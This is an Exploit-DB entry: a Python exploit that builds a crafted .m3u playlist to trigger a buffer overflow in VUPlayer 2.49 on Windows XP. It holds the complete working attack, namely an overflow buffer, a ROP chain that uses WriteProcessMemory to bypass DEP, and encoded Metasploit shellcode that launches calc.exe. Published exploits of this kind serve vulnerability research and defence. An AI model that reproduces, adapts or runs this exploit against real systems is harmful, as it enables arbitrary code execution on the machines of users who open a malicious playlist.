Exploit-DB #13756
Description: VUPlayer 2.49 - '.m3u' File Universal Buffer Overflow (DEP Bypass) (1)
Type: local
Platform: windows
Date: 2010-06-07
Author: mr_me

Exploit:
#!/usr/bin/env python
#
# VUPlayer <=2.49 .M3u Universal buffer overflow exploit w/ DEP bypass
# Author: mr_me
# Download: http://vuplayer.com/
# Tested on Wind0ws XP SP3 /noexecute=alwayson
# Greetz: Corelan Security Team
# http://www.corelan.be:8800/index.php/security/corelan-team-members/
# 
# DEP AlwaysOn bypass version
# Thanks to Sud0 & Lincoln, for the motivation to learn this :-)
# 

# http://www.metasploit.com
# EXITFUNC=process, CMD=calc.exe
sc = ("\x89\xe1\xd9\xee\xd9\x71\xf4\x58\x50\x59\x49\x49\x49\x49"
"\x43\x43\x43\x43\x43\x43\x51\x5a\x56\x54\x58\x33\x30\x56"
"\x58\x34\x41\x50\x30\x41\x33\x48\x48\x30\x41\x30\x30\x41"
"\x42\x41\x41\x42\x54\x41\x41\x51\x32\x41\x42\x32\x42\x42"
"\x30\x42\x42\x58\x50\x38\x41\x43\x4a\x4a\x49\x4b\x4c\x4a"
"\x48\x47\x34\x43\x30\x45\x50\x45\x50\x4c\x4b\x51\x55\x47"
"\x4c\x4c\x4b\x43\x4c\x45\x55\x42\x58\x45\x51\x4a\x4f\x4c"
"\x4b\x50\x4f\x45\x48\x4c\x4b\x51\x4f\x51\x30\x43\x31\x4a"
"\x4b\x51\x59\x4c\x4b\x50\x34\x4c\x4b\x43\x31\x4a\x4e\x46"
"\x51\x49\x50\x4c\x59\x4e\x4c\x4d\x54\x49\x50\x42\x54\x45"
"\x57\x49\x51\x49\x5a\x44\x4d\x43\x31\x48\x42\x4a\x4b\x4c"
"\x34\x47\x4b\x50\x54\x47\x54\x45\x54\x43\x45\x4b\x55\x4c"
"\x4b\x51\x4f\x47\x54\x45\x51\x4a\x4b\x45\x36\x4c\x4b\x44"
"\x4c\x50\x4b\x4c\x4b\x51\x4f\x45\x4c\x43\x31\x4a\x4b\x4c"
"\x4b\x45\x4c\x4c\x4b\x45\x51\x4a\x4b\x4c\x49\x51\x4c\x46"
"\x44\x44\x44\x48\x43\x51\x4f\x50\x31\x4a\x56\x45\x30\x50"
"\x56\x42\x44\x4c\x4b\x51\x56\x50\x30\x4c\x4b\x51\x50\x44"
"\x4c\x4c\x4b\x44\x30\x45\x4c\x4e\x4d\x4c\x4b\x43\x58\x45"
"\x58\x4b\x39\x4a\x58\x4d\x53\x49\x50\x42\x4a\x50\x50\x43"
"\x58\x4a\x50\x4d\x5a\x44\x44\x51\x4f\x45\x38\x4a\x38\x4b"
"\x4e\x4c\x4a\x44\x4e\x50\x57\x4b\x4f\x4d\x37\x42\x43\x43"
"\x51\x42\x4c\x42\x43\x43\x30\x41\x41");

crash = "HTTP://" + "\x41" * 1005

rop = "\xd3\x72\x60\x10" # POPAD # JE SHORT BASSMIDI.10607337		: 0x106072D3 
rop += "\x2f\x10\x60\x10" # POP EDI # MOV EAX,ESI # POP ESI # RETN	: 0x1060102F
rop += "\x13\x22\x80\x7c" # @ of WriteProcessMemory()				: 0x7C802213
rop += "\xcf\x22\x80\x7c" # Address to patched in kernel32			: 0x7C8022CF
rop += "\x44\x44\x44\x44" # JUNK									: 0x44444444
rop += "\xff\xff\xff\xff" # start @ -1 for shellcode size			: 0xffffffff
rop += "\x15\x10\x10\x10" # This @ from .data segment of app dll	: 0x10101015 
rop += "\x44\x44\x44\x44" # JUNK									: 0x44444444
rop += "\x44\x44\x44\x44" # JUNK									: 0x44444444
rop += "\x44\x44\x44\x44" # JUNK									: 0x44444444
rop += "\x79\x21\x60\x10" # POP EDI # POP ESI # RETN				: 0x10602179
rop += "\x88\x71\x60\x10" # CALL EAX								: 0x10607188
rop += "\xff\xff\xff\xff" # -hProcess argv[1]						: 0xffffffff

# Get the length of shellcode - @ from kernel32
rop += "\x6f\x10\x81\x7c" * 305 # INC EBX # RETN					: 0x7C81106F

# push all args on the stack for WPM() - @ from shell32.dll
rop += "\xf9\x18\xa1\x7c" # PUSHAD # RETN							: 0x7CA118F9

buffer = crash + rop + sc

print "[+] Building .m3u file"
file = open('cst-vuplayer.m3u','w');
file.write(buffer);
file.close();
print "[+] Done"